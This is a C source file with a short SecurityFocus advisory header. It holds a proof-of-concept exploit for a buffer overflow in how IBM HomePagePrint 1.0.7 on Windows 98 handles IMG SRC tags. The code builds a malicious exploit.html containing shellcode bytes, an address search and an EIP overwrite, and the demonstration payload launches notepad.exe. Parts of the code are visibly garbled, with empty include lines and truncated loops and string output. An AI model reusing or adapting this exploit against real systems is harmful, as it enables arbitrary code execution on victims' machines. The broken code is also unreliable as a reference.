// source: https://www.securityfocus.com/bid/763/info Certain versions of the IBM Web page printout software "IBM HomePagePrint " can in some instances be remotely exploited by malicious webservers. The problem lies in a buffer overflow in the code which handles IMG_SRC tags. If a page containing a specially constructed IMG SRC tag is previewed or printed using the IBM HomePagePrint software, arbitrary code can be run on the client. /*============================================================================= IBM HomePagePrint Version 1.0.7 Exploit for Windows98 The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguin@backsection.net) ============================================================================= */ #include #include #define EXPLOIT_HTML "exploit.html" #define HOST_ADDR "http://www.geocities.co.jp/SiliconValley-SanJose/7479/" #define EIP 990 #define JMPS_CODE 0xe9 #define JMPS_OFS 0xfffff790 unsigned int mems[]={ 0xbfb70000,0xbfbfc000, 0xbfde0000,0xbfde6000, 0xbfdf0000,0xbfdf5000, 0xbfe00000,0xbfe10000, 0xbfe30000,0xbfe43000, 0xbfe80000,0xbfe86000, 0xbfe90000,0xbfe96000, 0xbfea0000,0xbfeb0000, 0xbfee0000,0xbfee5000, 0xbff20000,0xbff47000, 0xbff50000,0xbff61000, 0xbff70000,0xbffc6000, 0xbffc9000,0xbffe3000, 0,0}; unsigned char exploit_code[200]={ 0xEB,0x32,0x5B,0x53,0x32,0xE4,0x83,0xC3, 0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7, 0xBF,0xFF,0xD0,0x43,0x53,0x50,0x32,0xE4, 0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E, 0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x43,0x53, 0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF, 0xD6,0x90,0xEB,0xFD,0xE8,0xC9,0xFF,0xFF, 0xFF,0x00 }; unsigned char cmdbuf[200]="msvcrt.dll.system.notepad.exe"; unsigned int search_mem(FILE *fp,unsigned char *st,unsigned char *ed, unsigned char c1,unsigned char c2) { unsigned char *p; unsigned int adr; for (p=st;p>8)&0xff)==0) continue; if (((adr>>16)&0xff)==0) continue; if (((adr>>24)&0xff)==0) continue; return(adr); } return(0); } int PASCAL WinMain(HINSTANCE hInst, HINSTANCE hInstPrev, LPSTR pszCmdLine, int CmdShow) { FILE *fp; unsigned int i,ip,eip; static unsigned char buf[30000]; if ((fp=fopen(EXPLOIT_HTML,"wb"))==NULL) return FALSE; fprintf(fp,"

>8)&0xff; buf[eip+2]=(ip>>16)&0xff; buf[eip+3]=(ip>>24)&0xff; ip=JMPS_OFS; buf[eip+4]=JMPS_CODE; buf[eip+5]=ip&0xff; buf[eip+6]=(ip>>8)&0xff; buf[eip+7]=(ip>>16)&0xff; buf[eip+8]=(ip>>24)&0xff; fwrite(buf,2000,1,fp); fprintf(fp,"\">"); fclose(fp); return FALSE; }